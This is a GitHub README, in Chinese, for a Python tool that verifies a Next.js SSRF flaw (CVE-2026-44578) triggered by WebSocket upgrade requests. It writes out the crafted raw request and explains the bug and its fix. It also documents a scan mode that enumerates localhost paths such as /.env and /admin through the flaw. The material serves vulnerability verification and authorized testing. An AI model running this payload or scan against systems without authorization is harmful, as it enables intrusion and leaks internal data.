panchocosil/verify-ghsa-c4j6-fc7j-m34r
GitHub: panchocosil/verify-ghsa-c4j6-fc7j-m34r
针对 Next.js CVE-2026-44578 SSRF 漏洞的带内验证与本地服务枚举工具,纯 Python 标准库实现,通过构造 WebSocket 升级请求检测漏洞存在性并评估实际影响。
Stars: 0 | Forks: 0
# 验证 GHSA-c4j6-fc7j-m34r
针对 **GHSA-c4j6-fc7j-m34r** / **CVE-2026-44578** 的带内验证器 —— Next.js 中通过 WebSocket 升级请求触发的 Server-Side Request Forgery (服务端请求伪造)。
## 漏洞详情
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | [GHSA-c4j6-fc7j-m34r](https://github.com/advisories/GHSA-c4j6-fc7j-m34r) |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (高危) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` |
| 受影响版本 | `next >=13.4.13 <15.5.16`, `>=16.0.0 <16.2.5` |
| 已修复版本 | `15.5.16`, `16.2.5` |
| 修复提交 | [`c4f69086`](https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8) |
| 不受影响 | Vercel 托管环境;`output: "export"` 配置;部署在不转发 `Upgrade` 头的反向代理之后 |
### 漏洞实际触发原理(已针对 15.5.15 与 15.5.16 版本进行经验证)
1. 攻击者打开一个到自托管 Next.js 进程的 TCP 连接,并发送一个请求 URI 为绝对路径的 HTTP/1.1 WebSocket 升级请求:
GET http://anything/ HTTP/1.1
Host:
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
2. 在 `resolveRoutes` 中,URL 包含 `//`(所有绝对 URI 都包含),这会匹配到“规范化重复斜杠”的分支。该分支提前返回 `{ finished: true, statusCode: 308, parsedUrl: }`。规范化器会将 `http://host/path` 折叠为 `http:/host/path`(单斜杠)。
3. 在 `router-server.ts` 中,**修复前**的 upgrade 处理器忽略了 `finished`/`statusCode`,仅检查了 `parsedUrl.protocol`。由于协议在规范化过程中保留了下来,因此它调用了 `proxyRequest(...)`。
4. `proxyRequest` 对被破坏的 URL 执行 `url.format(parsedUrl)`,得到 `http:/host:port/path`。`http-proxy` 解析该目标时发现没有 host(`url.parse('http:/...').host === null`),进而回退到其默认目标:**`localhost:80`**(或针对 `https` 的 `localhost:443`)。
5. 因此,在实际操作中,该 SSRF 使你能够让 Next.js 发起一个带有攻击者可控路径的 WebSocket 升级请求,指向 **Next.js 主机自身的 `localhost:80` / `localhost:443`**。
**修复方案**(提交 `c4f69086`)让 upgrade 处理器在执行代理前检查了 `finished && !statusCode`。308 规范化情况现在将无法通过 `!statusCode` 检查,从而直接关闭 socket。
### 为什么基于回调的 OOB 验证器对本次 CVE 无效
该代理永远不会访问外部主机。如果你配置了 interactsh / Burp Collaborator / webhook canary 并期望 Next 进程对外发起请求,**它不会的** —— 连接会直接指向目标机器的 `localhost`。
因此,本验证器使用了一个从 upgrade socket 读取的**带内信号**:存在漏洞的服务器会返回一个可识别的错误体,而已打补丁的服务器则什么也不返回。
### 实际影响
该 SSRF 的目标虽然受限,但在实际部署中仍然具有现实意义:
- 同宿主机上并排部署的 Sidecar 容器 / 反向代理 / 管理面板,它们绑定了 `127.0.0.1:80` 或 `:443` 且信任源自 localhost 的请求。
- 在 `127.0.0.1:80` 上通过 HTTP 暴露的 Docker socket(不常见,但确有存在)。
- 针对任何本地 HTTP 服务的路径遍历,且带有攻击者可控的 URI 路径和 WebSocket 升级语义。
AWS / GCP / Azure 元数据端点(`169.254.169.254`)*不*在直接可达的范围内,因为此漏洞将目标固定在了 localhost。
## 检测模型
对于每个目标,脚本会打开一个原生的 TCP(或 TLS)socket,发送精心构造的 upgrade 请求,读取响应,并生成两个信号:
- **`verdict`** — 漏洞是否存在。
- **`impact_confirmed`** — SSRF 是否真正实现了数据外发(即目标 `localhost:80/443` 上的共存服务进行了响应,并且我们获取到了其响应内容)。
| 响应 | Verdict | `impact_confirmed` |
|---|---|---|
| 包含 `Internal Server Error` | `vulnerable` | `false` — 证明漏洞存在,但代理没有访问到 localhost 上的任何内容 |
| 以 `HTTP/1.` 开头 | `vulnerable_proxy_succeeded` | `true` — 泄露了真实的响应数据 |
| 空响应 / 正常关闭 | `likely_patched` | `false` — 也涵盖了“非 Next 服务”、“反向代理剥离了 Upgrade”、“Vercel 环境”等情况 |
| 其他任何情况 | `inconclusive` | `false` |
当 `impact_confirmed` 为 true 时,JSON 输出还会包含从泄露响应中解析出的 `upstream_status`、`upstream_server` 和 `upstream_content_type`(可用于分类评估 / 报告撰写)。
## 环境要求
- Python 3.10+
- 无需第三方依赖(仅使用标准库)
## 使用方法
```
# 单个 target
python3 verify_ghsa_c4j6.py --target https://app.example.com
# 通过重复 flag 指定多个 targets
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# 从文件读取 (每行一个 target; '#' 用于注释)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# 从 stdin 读取
cat targets.txt | python3 verify_ghsa_c4j6.py
# 用于下游工具的 JSON Lines 输出
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# 通过该漏洞枚举目标 localhost:80/443 上的共存服务
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# 同上,使用自定义 path 列表
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
```
### 扫描模式
`--scan` 通过 SSRF 链路探测一个内置的常见路径列表(Apache/nginx 状态模块、健康检查与指标端点、Spring Boot Actuator、Go pprof、Docker daemon 端点、常见管理面板、泄露的配置文件、Elasticsearch 路由等)。
默认情况下,扫描模式会对每个目标运行一次额外的**差异化基线**探测(使用随机不存在的路径)。后续的探测只有在其 `(status, body length)` 特征与基线不同时才会被标记为 `DIFF` —— 来自“一无所获”上游的统一 404 响应会被标记为 `noise`,不会虚增命中数量。传入 `--no-differential` 可以报告每一个到达了服务的探测(旧行为)。
输出按目标分组:
```
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
```
`DIFF` 行才是真正的命中 —— 这些路径的响应与随机路径的基线不同(不同的状态码、不同的包体长度)。`noise` 行虽然也到达了某个 HTTP 服务,但产生了与基线相同的无意义响应 —— 通常是运维人员并不关心的统一 404 响应。当所有探测均为 `noise` 且没有出现基线差异时,说明漏洞依然存在,只是该主机的 `localhost:80/443` 上没有运行任何可利用的服务。
### 参数标志
| 标志 | 描述 | 默认值 |
|---|---|---|
| `--target URL` | 指定单个目标。可重复使用以指定多个目标。 | — |
| `--targets-file PATH` | 包含目标列表的文件(每行一个目标)。 | — |
| `--probe-path PATH` | 用于构造绝对 URI 的路径。将在目标的 localhost 服务上访问此路径。 | `/x` |
| `--scan` | 枚举每个目标 localhost 服务上的常见路径。会为每个目标发送一次差异化基线探测以及路径列表探测。 | 关闭 |
| `--scan-paths-file PATH` | 自定义扫描模式的路径列表文件(每行一个)。隐含启用 `--scan`。 | 内置 |
| `--no-differential` | 在 `--scan` 模式下,跳过基线探测并报告每一个到达了服务的探测(旧行为)。 | 关闭 |
| `--timeout SEC` | 单个 socket 的超时时间。 | `5` |
| `--concurrency N` | 并行探测数。 | `10` |
| `--insecure` | 跳过 TLS 证书验证。配合 `--proxy` 对 TLS 进行中间人攻击时需要此参数。 | 关闭 |
| `--proxy URL` | 通过 HTTP CONNECT 隧道传输(Burp / mitmproxy / ZAP)。支持通过 `http://user:pass@host:port` 格式进行基本认证。针对 TLS 目标需要 Python 3.11+。 | 直连 |
| `--json` | 输出 JSON Lines 格式而不是人类可读文本。 | 关闭 |
目标可以是 `host`、`host:port`,或者完整的 `http(s)://...` URL。
### 代理支持
通过 HTTP CONNECT 代理隧道传输所有探测,以便在 Burp / mitmproxy / OWASP ZAP 中进行检查:
```
# 通过 Burp 的纯 HTTP 目标
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# 通过 Burp 的 HTTPS 目标 (Burp MITMs TLS — 需要 --insecure 或安装 Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# 带 basic auth 的 proxy
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:pass@10.0.0.1:3128
```
代理端会看到一个 `CONNECT host:port` 请求,随后是原生的 upgrade 载荷 —— 这在你希望 Burp 记录/重放/修改 SSRF 探测时非常有用。
## 本地复现
你可以通过五条命令运行一个存在漏洞的实验环境:
```
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i next@15.5.15 react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
```
输出:
```
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
```
使用 `next@15.5.16` 重复该操作,你将会看到 `verdict=likely_patched`。
### 影响演示(真实数据外发)
`demo_impact.sh` 会在 `:80` 端口运行 Next.js(因此其被限制在 localhost 的 SSRF 目标*就是*该 Next.js 进程本身),并通过此漏洞读回 Next.js 自身的 HTML 内容。由于需要绑定特权端口,因此要求使用 `sudo`。
```
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
```
预期输出应以 `IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back` 结束。
## 注意事项
- **假阴性**:如果 Next.js 前端的任何反向代理不转发 `Upgrade` 头,就会掩盖该漏洞;脚本将报告 `likely_patched`。如果可以,请直接针对 Next 进程重新测试。
- **假阳性**:理论上,字面字符串 `Internal Server Error` 也可能由上游代理自行返回。为排除这种情况,请将载荷中的 `Connection: close` 改为 `Connection: Upgrade` 后重新发送 —— 真正存在漏洞的 Next 在这种情况下会停止返回 Internal Server Error 响应体(代码执行路径不同)。
- **纯 HTTP/2 目标**:不支持。`next start` 默认使用 HTTP/1.1。
## 负责任地使用
仅限对你拥有所有权或获得明确书面授权评估的系统进行测试。
## 参考文献
- 安全通告:
- Next.js v15.5.16 发布:
- Next.js v16.2.5 发布:
- 修复提交:
## 许可证
MIT
标签:CISA项目, CVE-2026-44578, CWE-918, GHSA-c4j6-fc7j-m34r, GNU通用公共许可证, HTTP升级, Maven, Node.js, OSV, PoC, SSRF, Vercel, WebSocket, 代理漏洞, 依赖分析, 全栈安全, 反向代理, 暴力破解, 服务端请求伪造, 漏洞验证, 网络安全, 隐私保护